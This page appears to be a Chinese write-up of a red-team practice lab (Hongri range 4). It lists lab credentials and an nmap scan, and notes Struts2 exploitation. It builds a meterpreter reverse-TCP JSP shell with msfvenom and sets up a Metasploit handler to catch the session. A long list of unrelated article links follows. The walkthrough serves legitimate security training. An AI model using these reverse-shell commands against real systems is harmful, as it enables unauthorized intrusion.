奋斗吧！小胖子
奋斗吧！小胖子

ATT&CK红队评估（红日靶场四）

靶场搭建

靶场下载地址：漏洞详情

共有三台主机DC、WEB、WIN7

机器密码

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008

网络配置

创建两个子网vmnet0和vmnet1

vmnet1:192.168.183.0

ATT&CK红队评估（红日靶场四）_第1张图片

WEB主机网卡设置

ATT&CK红队评估（红日靶场四）_第2张图片

WIN7主机网卡设置

ATT&CK红队评估（红日靶场四）_第3张图片

DC主机网卡设置

ATT&CK红队评估（红日靶场四）_第4张图片

攻击机kali的网卡和WEB主机的第一个出网网卡一致为NAT模式

WEB主机（Ubuntu）

ATT&CK红队评估（红日靶场四）_第5张图片

DC主机（Windows 2008）

ATT&CK红队评估（红日靶场四）_第6张图片

WIN7

ATT&CK红队评估（红日靶场四）_第7张图片

WEB主机（Ubuntu）上启动环境

        sudo docker start ec 17 09 bb da 3d ab ad

ATT&CK红队评估（红日靶场四）_第8张图片

渗透测试

扫描端口开放情况

nmap -sS -p 1-65535 -A 192.168.48.146

ATT&CK红队评估（红日靶场四）_第9张图片

端口22开放，存在SSH服务

2001,2002,2003端口开放，存在WEB

看到2001使用了Struts2中间件

2002使用了Apache Tomcat中间件

2003为Apache、PHPmyadmin、mysql

访问WEB

2001端口

ATT&CK红队评估（红日靶场四）_第10张图片

2002端口

ATT&CK红队评估（红日靶场四）_第11张图片

2003端口，发现不需要密码就可以进入phpmyadmin后台

ATT&CK红队评估（红日靶场四）_第12张图片

利用Struts2漏洞获得shell

使用了Struts2

直接使用工具进行检测和利用

ATT&CK红队评估（红日靶场四）_第13张图片

ATT&CK红队评估（红日靶场四）_第14张图片

ATT&CK红队评估（红日靶场四）_第15张图片

利用漏洞上传msf马

生成msf马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.48.136 LPORT=4444 -f jsp > shell.jsp

ATT&CK红队评估（红日靶场四）_第16张图片

ATT&CK红队评估（红日靶场四）_第17张图片

msf启动监听

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.48.136

exploit

访问马

ATT&CK红队评估（红日靶场四）_第18张图片

成功收到会话

ATT&CK红队评估（红日靶场四）_第19张图片

利用phpmyadmin后台获得shell

还可以利用phpmyadmin来使用数据库日志写入马来获得会话，这里就不做演示了，方法和之前的红日靶场一的一样，可以前往查看。链接：

你可能感兴趣的:(安全,web安全,系统安全)

  • 区块链与数字经济：互联网创业者的未来之路，构建新的商业模式 口碑信息传播者
    在互联网的浪潮下，区块链技术作为一种新型的分布式数据存储技术，正在逐渐改变着我们的商业模式。它以其独特的去中心化、安全性高、透明度高等特点，为数字经济的发展提供了新的契机。对于互联网创业者来说，理解区块链与数字经济的关系，把握这一技术趋势，无疑是开辟未来之路的关键。探索未来，触碰无限可能！国内区块链元宇宙正引领一场前所未有的科技革命，现在正是您加入这场盛宴的最佳时机！在这里，您将亲身体验到一个全新
  • 学习小结记录 歪歪驴 学习网络
    一、TLS（TransportLayerSecurity）握手是建立安全通信通道的关键过程，确保客户端与服务器之间的通信加密和身份验证。以下是TLS1.2和TLS1.3的握手流程详解及对比：TLS1.2握手流程目标：协商加密套件、交换密钥、验证身份步骤：1.ClientHello-客户端发送支持的TLS版本、加密套件列表（如`AES256-GCM-SHA384`）、随机数（ClientRandom
  • 儿子的命还不如一块车窗，你也配做妈妈？ 楼上的姨
    最近大中华发生的一连串事件，都充分调动了群众们的情绪，网友们该骂的骂、该赞的赞。但本姨今天不谈论各大圈子的丑闻、猛料进展如何，倒是有件发生在我们身边的事，让本姨瞬间冒火。几天前，无锡江阴城区某小区门前，一位年轻妈妈下车时忘记拔车钥匙。车门自动上锁后，她才发现年幼的儿子被反锁在车内。由于天气炎热，孩子被固定在车后座的安全座椅上，急得满头大汗、哇哇大哭。接下来，孩子妈妈的举动，看起来倒像是个冷血无情的
  • ABAP Cloud 语言版本、Release Contract 与 API 发布全景解析 汪子熙 ABAP百科全书SAPABAP思爱普NetWeaver
    在云时代，ABAP早已不再只是本地ERP系统里的专属语言，而是演变成能够运行在SAPBTP多租户环境中的云原生开发平台。为了确保代码安全、升级无痛以及生态协同，SAP引入了受限语言版本、ReleaseContract和ReleasedAPI三大治理机制。本文立足官方规范与实践案例，先对两种ABAP语言版本的定位做纵向梳理，再横向剖析五类ReleaseContract的边界约束，最终结合真实项目分享
  • 如何搭建MySQL主从同步架构：实现数据库高可用与读写分离 Cloud_Begin adb
    前言：在现代Web应用中，数据库往往是性能瓶颈所在。MySQL主从复制(Master-SlaveReplication)是一种常见的数据同步方案，它不仅能提高系统的读取性能，还能增强数据安全性并提供故障转移能力。本文将详细介绍如何从零开始搭建一个MySQL主从同步架构。一、主从复制原理简介MySQL主从复制基于二进制日志(binlog)实现，其核心流程如下：主库(Master)将所有数据更改操作记
  • 什么软件赚钱多 安全可靠2022精选3类赚钱软件 日常购物技巧呀
    小编最近看到有网友在问“赚钱软件哪个赚钱多,又安全？”最近几年受疫情影响，80%人收入有下滑趋势，但有一个行业特别火，那就是手机赚钱，2022年今天也依旧是，这种方法让一些既想在网络上赚钱又想没有门槛，不需要任何技能的人看到了希望，想着利用业余时间做这个可以赚点外快。高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个自用省钱佣金高，分享推广赚钱多的平台，百度有几百万篇报道，也期待你的加入
  • 如何做一个好妈妈 淡墨清荷老师
    孩子在成长过程中母亲起着很重要的作用，特别是在忙碌、复杂的当今社会中，作为一个母亲如何能兼顾自己的工作和孩子的教育问题呢？根据积极心理学的知识我认为要做到以下几点：1.要有平和的心态，这是非常关键的一点。脾气暴躁的母亲会让孩子无所适从，也很没有安全感。养育我的女儿让我感受最深，我自己就是一个脾气很不稳定的人，特别是当自己驮着疲惫的身躯回到家，此时自己的小孩故意跟你闹的时候，自己沉不住气就爆发了，就
  • Kotlin介绍 江上清风山间明月 Androidkotlin开发语言android
    文章目录1.Kotlin是什么？（身份介绍）2.Kotlin为什么受欢迎？（核心魅力-四大亮点）3.Kotlin看起来什么样？（一瞥语法）4.学习Kotlin能做什么？（应用场景）5.给0基础学习者的建议总结一下Kotlin给你的印象1.Kotlin是什么？（身份介绍）一句话定义：Kotlin是一种现代的、简洁的、安全的、实用的编程语言。谁创造的？一家叫JetBrains的公司（他们做了很多程序员
  • 服务器搭建python响应https,python实现简单的https服务器
    以下提供一个简单的方式快速部署一个https服务器，用于非生产环境的测试使用，如果是正式的生产环境，考虑到性能安全等因素，就不要使用这个了。1、使用pyOpenSSL库：#coding:utf-8fromBaseHTTPServerimportHTTPServer,BaseHTTPRequestHandlerfromSocketServerimportThreadingMixInfromSocke
  • C++高频知识点（十三） 源代码•宸 开发语言C++经验分享面经
    文章目录61.vector内存扩展问题，扩容62.单例模式，懒汉模式/饿汉模式，及线程安全问题63.工厂模式及简单工厂模式64.类成员函数后加const，有什么作用？65.指针和引用的区别61.vector内存扩展问题，扩容62.单例模式，懒汉模式/饿汉模式，及线程安全问题63.工厂模式及简单工厂模式64.类成员函数后加const，有什么作用？65.指针和引用的区别之后我会持续更新，如果喜欢我的文
  • 基于Web的安全漏洞分析与修复平台设计与实现 计算机毕业设计指导 前端
    基于Web的安全漏洞分析与修复平台设计与实现摘要随着信息化进程的加快，Web系统和企业IT架构愈发复杂，安全漏洞频发已成为影响系统安全运行的主要因素。为解决传统漏洞扫描工具定位不准确、修复建议不完善、响应周期长等问题，本文设计并实现了一套基于Web的安全漏洞分析与修复平台。平台集成漏洞检测、漏洞情报分析、可视化报告生成及自动修复建议模块，支持对网站、服务器、代码仓库等多类型目标进行统一管理与评估。
  • 2019-04-16 赵轩妈妈
    2019年4月16日晴星期二亲子日记209篇晚上吃完饭的时候老公问儿子今天在学校里吃的什么饭（老公跟儿子规定每天回家报告在学校里吃的什么，因为刚换了校内托管），儿子说今天中午吃的鸡腿，肉丸子，白菜，还有红烧茄子，不过我没有要茄子，因为我实在是不爱吃茄子，老公说嗯还吃的不错，四个菜。然后又问是校内托管好还是校外托管好？儿子说都好。呵呵这个熊孩子，还挺会给自己找台阶下的。不管是哪里好，只要是安全，健康
  • Python 服务器端与客户端的加密通信（SSL/TLS）解析 现实逃脱计划TA pythonssl网络
    ```htmlPython服务器端与客户端的加密通信（SSL/TLS）解析在当今互联网时代，数据安全变得越来越重要。为了保护数据在传输过程中的安全，使用SSL/TLS协议进行加密通信成为了一种常见的做法。本文将详细介绍如何在Python中实现服务器端和客户端之间的SSL/TLS加密通信。什么是SSL/TLS？SSL（SecureSocketsLayer）和TLS（TransportLayerSec
  • 被骗曝光：博文书院赵春柳梁志国碳项目被骗无法提现？群里发充值截图的都是托!千万别上当! 大盛律道
    已有受害者亏损惨重，曝光：博文书院赵春柳梁志国碳资产投资光伏市场不正规——被骗无法提现！讲述背后事实！随着互联网的普及，数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁！因此，我们有必要提高警惕，防范黑平台诈骗。针对网上素未谋面的牛散大咖，经济学家等推荐网上投资理财、数字经济，数字体育市场，人工
  • Java并发必知必会：核心概念深度梳理与实战要点（二） 码不停蹄的玄黓 javaspringbootspringcloudspringjvm
    1.Java中的synchronized关键字深度解析synchronized是Java并发编程中最核心的同步机制，通过内置锁实现线程安全。它在解决数据竞争、内存可见性和操作原子性问题上是不可或缺的。以下从七个维度全面剖析：1.1底层实现原理：监视器锁（Monitor）1.1.1对象头关联每个Java对象内置一个Monitor监视器锁（存储于对象头的MarkWord中）//使用jol-core查看
  • （晚凝厉司寒）我的超雄霸总老公厉司寒全文小说全文 百鸣文库
    （晚凝厉司寒）我的超雄霸总老公厉司寒全文小说全文书名：我的超雄霸总老公主角：厉司寒晚凝简介：我老公，一个超雄的霸总，梦见我们结为夫妻后，便执着地追求了我七年。我无法接受他，但他以我家人的安全威胁我，强行娶我，并将我软禁在别墅。此刻的我，头发被烧光，头皮满是伤痕。脸也肿得不成样子，血迹斑斑。断舌处，还在不断溢血。整个人惨不忍睹，触目惊心厉司寒根本就没认出我来。甚至看向我的眼神，都充斥着嫌弃。仿佛看到
  • 超简单linux上部署Apache 悟空骑猪看电影 apachelinux运维网络
    1.Apache是什么？Apache是世界上最流行的开源Web服务器软件，由Apache软件基金会维护。主要功能：接收客户端（如浏览器）的HTTP请求，返回网页、图片等静态/动态资源。特点：跨平台（Linux、Windows、macOS）模块化设计（按需加载功能）支持多语言扩展（PHP、Python等）高稳定性和安全性2.核心架构与工作原理多进程模型（MPM）Prefork：多进程模式，每个请求由
  • 实现高效协作的白板模式技术解析 十三木
    本文还有配套的精品资源，点击获取简介：白板模式是一种流行的交互方式，支持教育、协作和设计领域的实时合作。它类似于一个虚拟的白板，允许用户自由绘制、书写和标注。在软件层面，白板模式需要处理图形渲染、事件处理、实时数据同步、状态管理、文件导入导出、权限控制、界面设计、性能优化、安全性和跨平台支持等关键技术点。本篇将深入解析这些技术要点，以及如何综合运用它们来构建一个功能强大、用户体验良好且易于协作的白
  • 软考信息安全工程师经验分享以及报考建议 大学生编程地 备考分享经验分享安全web安全
    我是参加的是21年11月份的信息安全工程师考试，给大家分享一些经验因为信息安全工程师16年才开始考，而且一年只考一次，再加上又改了新教材，两版的差别又很大，所以除了教材，能找到的其他知识和练习题是非常的少，而且截至目前为止，20年那一次的考试，官方一直不给公布真题，全网上能找到关于那次考试的，只有一两篇由参加过的考生所写的帖子，我一开始还纳闷为什么，在我考完21年的后，我想我知道答案了我猜，21年
  • 《相面天师》第九百二十四章 道歉 先峰老师
    “李先生，咱……咱们还是在里面安全点吧？”跟着李尚鸿走出会场的时候，汤加林那一路上简直就是背若芒刺一般，要是眼睛能杀人的话，他不知道自己已经死了多少次了，浑身的衣襟都被冷汗打湿掉了。要知道，虽然这次异能者大会背后的组织者，都是各国政府，但是在明面上，没有任何一个国家的政府会承认这次会议的，所以不管在会场中发生什么事情，都不会被追究的。就像是泰国国师乃他信.沙旺素西被李尚鸿用“生死簿”杀死，泰国政府
  • ［原创文集］女孩子真正的安全感 旅游学院20旅管一班
    旅游学院20旅管本一班罗美英巴菲特给女儿一-生的忠告:如果将来我有女儿，不会从小给她灌输要温柔、要善良、要懂事、要乐于助人这类思想。这些看似美好的词，变成束缚要求在-一个人身，上在我看来和德绑架没什么两样。我会教她权衡利弊，做事之前想好得失，先爱自己，在爱别人，我要把她养成一-个既世俗，又浪漫的精明女人。我非常肯定这个父亲的教育方法，随着我们的长大，我们开始接触爱情的懵懂，在我们身边有很多女孩子都
  • Android NDK开发实战详解 大王算法 androidc++开发语言
    目录一、概念二、AndroidNDK的作用三、开发中需要注意的问题3.1、明确使用场景3.2、JNI（JavaNativeInterface）3.3、ABI（应用二进制接口）兼容性3.4、内存与线程安全3.5、调试与工具链3.6、安全风险3.7、构建配置（CMake/ndk-build）3.8、兼容性与版本管理3.9、异常处理四、工程实践建议4.1、隔离原生代码：4.2、单元测试：4.3、渐进集成
  • 种子实践计划第93天 殷琴
    目标:我可以轻松的实现在2019年1月份以后的每一个月的工资，将都是完完全全的属于我自己的，可以随意支配的了！动机：1我可以每个月安安心心的稳定的给妈妈和婆婆每人100元的孝顺金；感恩她们对子女的付出，希望可以让她们感受到更多的爱，和对金钱的安全感。2我有能力给孩子创造一个好的学习环境，给她一个快乐又充满智慧的童年！3自己也可以随心的购买自己想要的化妆品，衣服，等自己喜欢的东西，还可以存钱去上我一
  • 【操作系统】macOS软件提示“已损坏，打不开”的解决方案 赵大仁 运维MacOS苹果Applemacos系统安全经验分享
    macOS软件提示“已损坏，打不开”的解决方案在使用macOS系统时，不少用户都遇到过这样的情况：当尝试打开某个应用程序时，系统弹出提示“xxx已损坏，打不开。您应该将它移到废纸篓”，或者显示“无法打开‘xxx’，因为无法确认开发者的身份”。这其实并不是软件本身真的损坏了，而是macOS系统的权限机制和应用签名策略在起作用。本文将详细介绍如何解决这一问题。一、问题原因分析macOS为了保证系统安全
  • 确认!复旦学院内部群老张张军GRG4.0检测市场就是一场騙局!背后利益阴谋让人恼羞成怒 法律咨询维权
    随着互联网的普及，电视上和网络上有很多分析师，他们也是这个市场的一个群体。可能你也有疑惑，既然都能分析了，还做什么分析师啊，就在股市里赚大钱就是了，干嘛还要出来抛头露面。数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗。针对网上素未谋面的网友、网恋对象推
  • 特别温柔的句子，送给你…… 九月天秤
    特别温柔的句子，送给你1.因为喜欢，可迎万难。2.允许存在误解、接纳和不喜欢。3.“下午的天气很好，体重秤上的数字又小了一点，我把心情写的很干净，也没有特别想你。”4.注意安全，有事给我打电话。5.人往前走，苦才会退后。6.“无论我们活成什么鬼样子，我都相信我们前途无量。”7.妈妈在呢，不怕。8.大声的笑出来，就没有这么害怕了。9.渐渐温柔，克制、朴素、不问、不怨、不记。10.“我还好，你也保重”
  • 为什么刘伯温跟朱元璋说张昶留不得？ 历史文武君
    朱元璋有一个十分欣赏的人才，当这个人来到自己的大营之后，便毫不犹豫的重用他，但朱元璋却将其诛杀，这到底是怎么回事呢？难得的人才，被迫招降张昶原本是元朝的户部尚书，可是却被皇帝赋予了一个神圣的使命，那就是采取怀柔政策，招降各地的起义军，而张昶则是被元顺帝十分欣赏的人才，派到了此时最强大的起义军吴国（史称西吴，朱元璋建立）。兵荒马乱的元朝，一路上带着东西十分不安全，于是张昶想到用棺材一路护着自己来到金
  • 我爱上了自己的亲哥哥，怎么办？ 我的狗毛毛
    1.其实不爱，何必相互伤害最近在上看到一篇贴子，名称是“我爱上了自己的亲哥哥，该怎么办？”底下有各种五花八门的热心回复。大部分网友都在探讨兄妹恋这一哲学论题，有些还给予真诚的支持和帮助。但是我个人认为，这压根就不是爱，只是一种基于强烈不安全感之下的控制而已。因为那位朋友，其实不够自爱。我所说的自爱，并非是“浪荡”。而是足够的对自己好，加倍的爱自己。这位朋友说自己性格较为内向，我估计（应该接近成年）
  • 煤气灶什么品牌的比较安全？口碑最好的煤气灶品牌 氧惠佣金真的高
    对于绝大多数的用户，尤其是居住在城市的人们而言，燃气灶是不可或缺的厨房电器，与人们的日常生活息息相关，一款好的燃气灶会让做饭不再是一件任务，而是一种享受的过程，让用户烹饪美食的过程如虎添翼。目前市面上的燃气灶品牌是非常多样的，那燃气灶哪个品牌质量好？排名前十的品牌哪个值得推荐？笔者在下面文中给大家详细分析介绍。买煤气灶上氧惠领取隐藏优惠券，优惠完还返利，让你更优惠！大家好我是氧惠APP最大团队张导
  • 0.1折扣手游平台能交易吗 安全可靠的0.1折扣手游平台排行榜前十 会飞滴鱼儿
    导读：随着游戏行业的蓬勃发展，寻找高质量游戏资源成为玩家的首要任务。但是就目前的游戏市场来看，质量也是参差不齐，所以选对一个适合自己的平台也是首要任务，要说目前哪些游戏网站能受到大家的青睐，本期小编在此为您带来2024年最热门的游戏下载网站排行榜，希望对大家有所帮助！！！下面就一起来看看哪些能排在前十吧？2024最火的游戏下载盒子/网站排行榜前十——top1游戏豹官网——全网评分：★★★★★上榜理
  • 继之前的线程循环加到窗口中运行 3213213333332132 javathreadJFrameJPanel
    之前写了有关java线程的循环执行和结束，因为想制作成exe文件，想把执行的效果加到窗口上，所以就结合了JFrame和JPanel写了这个程序，这里直接贴出代码，在窗口上运行的效果下面有附图。 package thread; import java.awt.Graphics; import java.text.SimpleDateFormat; import java.util
  • linux 常用命令 BlueSkator linux命令
    1.grep 相信这个命令可以说是大家最常用的命令之一了。尤其是查询生产环境的日志，这个命令绝对是必不可少的。 但之前总是习惯于使用 （grep -n 关键字 文件名 ）查出关键字以及该关键字所在的行数，然后再用 （sed -n  '100,200p' 文件名），去查出该关键字之后的日志内容。 但其实还有更简便的办法，就是用（grep  -B n、-A n、-C n 关键
  • php heredoc原文档和nowdoc语法 dcj3sjt126com PHPheredocnowdoc
    <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Current To-Do List</title> </head> <body> <?
  • overflow的属性 周华华 JavaScript
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&q
  • 《我所了解的Java》——总体目录 g21121 java
            准备用一年左右时间写一个系列的文章《我所了解的Java》，目录及内容会不断完善及调整。         在编写相关内容时难免出现笔误、代码无法执行、名词理解错误等，请大家及时指出，我会第一时间更正。    &n
  • [简单]docx4j常用方法小结 53873039oycg docx
            本代码基于docx4j-3.2.0，在office word 2007上测试通过。代码如下:         import java.io.File; import java.io.FileInputStream; import ja
  • Spring配置学习 云端月影 spring配置
    首先来看一个标准的Spring配置文件 applicationContext.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi=&q
  • Java新手入门的30个基本概念三 aijuans java新手java 入门
    17.Java中的每一个类都是从Object类扩展而来的。　　18.object类中的equal和toString方法。　　equal用于测试一个对象是否同另一个对象相等。　　toString返回一个代表该对象的字符串,几乎每一个类都会重载该方法,以便返回当前状态的正确表示.(toString 方法是一个很重要的方法)　　 19.通用编程:任何类类型的所有值都可以同object类性的变量来代替。　
  • 《2008 IBM Rational 软件开发高峰论坛会议》小记 antonyup_2006 软件测试敏捷开发项目管理IBM活动
    我一直想写些总结,用于交流和备忘,然都没提笔,今以一篇参加活动的感受小记开个头,呵呵! 其实参加《2008 IBM Rational 软件开发高峰论坛会议》是9月4号,那天刚好调休.但接着项目颇为忙,所以今天在中秋佳节的假期里整理了下. 参加这次活动是一个朋友给的一个邀请书,才知道有这样的一个活动,虽然现在项目暂时没用到IBM的解决方案,但觉的参与这样一个活动可以拓宽下视野和相关知识.
  • PL/SQL的过程编程,异常,声明变量,PL/SQL块 百合不是茶 PL/SQL的过程编程异常PL/SQL块声明变量
    PL/SQL;    过程; 符号; 变量; PL/SQL块; 输出; 异常;     PL/SQL 是过程语言(Procedural Language)与结构化查询语言(SQL)结合而成的编程语言PL/SQL 是对 SQL 的扩展,sql的执行时每次都要写操作
  • Mockito(三)--完整功能介绍 bijian1013 持续集成mockito单元测试
            mockito官网：http://code.google.com/p/mockito/，打开documentation可以看到官方最新的文档资料。 一.使用mockito验证行为 //首先要import Mockito import static org.mockito.Mockito.*; //mo
  • 精通Oracle10编程SQL(8)使用复合数据类型 bijian1013 oracle数据库plsql
    /* *使用复合数据类型 */ --PL/SQL记录 --定义PL/SQL记录 --自定义PL/SQL记录 DECLARE TYPE emp_record_type IS RECORD( name emp.ename%TYPE, salary emp.sal%TYPE, dno emp.deptno%TYPE ); emp_
  • 【Linux常用命令一】grep命令 bit1129 Linux常用命令
    grep命令格式   grep [option] pattern [file-list]     grep命令用于在指定的文件(一个或者多个,file-list)中查找包含模式串(pattern)的行,[option]用于控制grep命令的查找方式。   pattern可以是普通字符串，也可以是正则表达式，当查找的字符串包含正则表达式字符或者特
  • mybatis3入门学习笔记 白糖_ sqlibatisqqjdbc配置管理
    MyBatis 的前身就是iBatis，是一个数据持久层(ORM)框架。  MyBatis 是支持普通 SQL 查询，存储过程和高级映射的优秀持久层框架。MyBatis对JDBC进行了一次很浅的封装。   以前也学过iBatis，因为MyBatis是iBatis的升级版本，最初以为改动应该不大，实际结果是MyBatis对配置文件进行了一些大的改动，使整个框架更加方便人性化。
  • Linux 命令神器：lsof 入门 ronin47 lsof
           lsof是系统管理/安全的尤伯工具。我大多数时候用它来从系统获得与网络连接相关的信息，但那只是这个强大而又鲜为人知的应用的第一步。将这个工具称之为lsof真实名副其实，因为它是指“列出打开文件（lists openfiles）”。而有一点要切记，在Unix中一切（包括网络套接口）都是文件。 有趣的是，lsof也是有着最多
  • java实现两个大数相加，可能存在溢出。 bylijinnan java实现
    import java.math.BigInteger; import java.util.regex.Matcher; import java.util.regex.Pattern; public class BigIntegerAddition { /** * 题目：java实现两个大数相加，可能存在溢出。 * 如123456789 + 987654321
  • Kettle学习资料分享，附大神用Kettle的一套流程完成对整个数据库迁移方法 Kai_Ge Kettle
    Kettle学习资料分享   Kettle 3.2 使用说明书 目录 概述..........................................................................................................................................7 1.Kettle 资源库管
  • [货币与金融]钢之炼金术士 comsci 金融
           自古以来,都有一些人在从事炼金术的工作.........但是很少有成功的        那么随着人类在理论物理和工程物理上面取得的一些突破性进展......        炼金术这个古老
  • Toast原来也可以多样化 dai_lm androidtoast
    Style 1： 默认 Toast def = Toast.makeText(this, "default", Toast.LENGTH_SHORT); def.show(); Style 2： 顶部显示 Toast top = Toast.makeText(this, "top", Toast.LENGTH_SHORT); t
  • java数据计算的几种解决方法3 datamachine javahadoopibatisr-languer
    4、iBatis     简单敏捷因此强大的数据计算层。和Hibernate不同，它鼓励写SQL，所以学习成本最低。同时它用最小的代价实现了计算脚本和JAVA代码的解耦，只用20%的代价就实现了hibernate 80%的功能,没实现的20%是计算脚本和数据库的解耦。     复杂计算环境是它的弱项，比如：分布式计算、复杂计算、非数据
  • 向网页中插入透明Flash的方法和技巧 dcj3sjt126com htmlWebFlash
    将 Flash 作品插入网页的时候，我们有时候会需要将它设为透明，有时候我们需要在Flash的背面插入一些漂亮的图片，搭配出漂亮的效果……下面我们介绍一些将Flash插入网页中的一些透明的设置技巧。 　　一、Swf透明、无坐标控制　　首先教大家最简单的插入Flash的代码，透明，无坐标控制： 　　注意wmode="transparent"是控制Flash是否透明
  • ios UICollectionView的使用 dcj3sjt126com
    UICollectionView的使用有两种方法，一种是继承UICollectionViewController，这个Controller会自带一个UICollectionView；另外一种是作为一个视图放在普通的UIViewController里面。 个人更喜欢第二种。下面采用第二种方式简单介绍一下UICollectionView的使用。 1.UIViewController实现委托，代码如
  • Eos平台java公共逻辑 蕃薯耀 Eos平台java公共逻辑Eos平台java公共逻辑
     Eos平台java公共逻辑 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2015年6月1日 17:20:4
  • SpringMVC4零配置--Web上下文配置【MvcConfig】 hanqunfeng springmvc4
    与SpringSecurity的配置类似，spring同样为我们提供了一个实现类WebMvcConfigurationSupport和一个注解@EnableWebMvc以帮助我们减少bean的声明。   applicationContext-MvcConfig.xml <!-- 启用注解，并定义组件查找规则 ，mvc层只负责扫描@Controller --> <
  • 解决ie和其他浏览器poi下载excel文件名乱码 jackyrong Excel
       使用poi,做传统的excel导出，然后想在浏览器中，让用户选择另存为，保存用户下载的xls文件，这个时候，可能的是在ie下出现乱码（ie,9,10,11),但在firefox,chrome下没乱码， 因此必须综合判断，编写一个工具类：      /** * * @Title: pro
  • 挥洒泪水的青春 lampcy 编程生活程序员
    2015年2月28日，我辞职了，离开了相处一年的触控，转过身--挥洒掉泪水，毅然来到了兄弟连，背负着许多的不解、质疑——”你一个零基础、脑子又不聪明的人，还敢跨行业，选择Unity3D？“，”真是不自量力••••••“，”真是初生牛犊不怕虎•••••“，••••••我只是淡淡一笑，拎着行李----坐上了通向挥洒泪水的青春之地——兄弟连！ 这就是我青春的分割线，不后悔，只会去用泪水浇灌——已经来到
  • 稳增长之中国股市两点意见-----严控做空，建立涨跌停版停牌重组机制 nannan408
       对于股市，我们国家的监管还是有点拼的，但始终拼不过飞流直下的恐慌，为什么呢？    笔者首先支持股市的监管。对于股市越管越荡的现象，笔者认为首先是做空力量超过了股市自身的升力，并且对于跌停停牌重组的快速反应还没建立好，上市公司对于股价下跌没有很好的利好支撑。    我们来看美国和香港是怎么应对股灾的。美国是靠禁止重要股票做空，在
  • 动态设置iframe高度(iframe高度自适应) Rainbow702 JavaScriptiframecontentDocument高度自适应局部刷新
    如果需要对画面中的部分区域作局部刷新，大家可能都会想到使用ajax。 但有些情况下，须使用在页面中嵌入一个iframe来作局部刷新。 对于使用iframe的情况，发现有一个问题，就是iframe中的页面的高度可能会很高，但是外面页面并不会被iframe内部页面给撑开，如下面的结构： <div id="content"> <div id=&quo
  • 用Rapael做图表 tntxia rap
    function drawReport(paper,attr,data){          var width = attr.width;     var height = attr.height;          var max = 0;   &nbs
  • HTML5 bootstrap2网页兼容（支持IE10以下） xiaoluode html5bootstrap
    <!DOCTYPE html> <html> <head lang="zh-CN"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge">
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他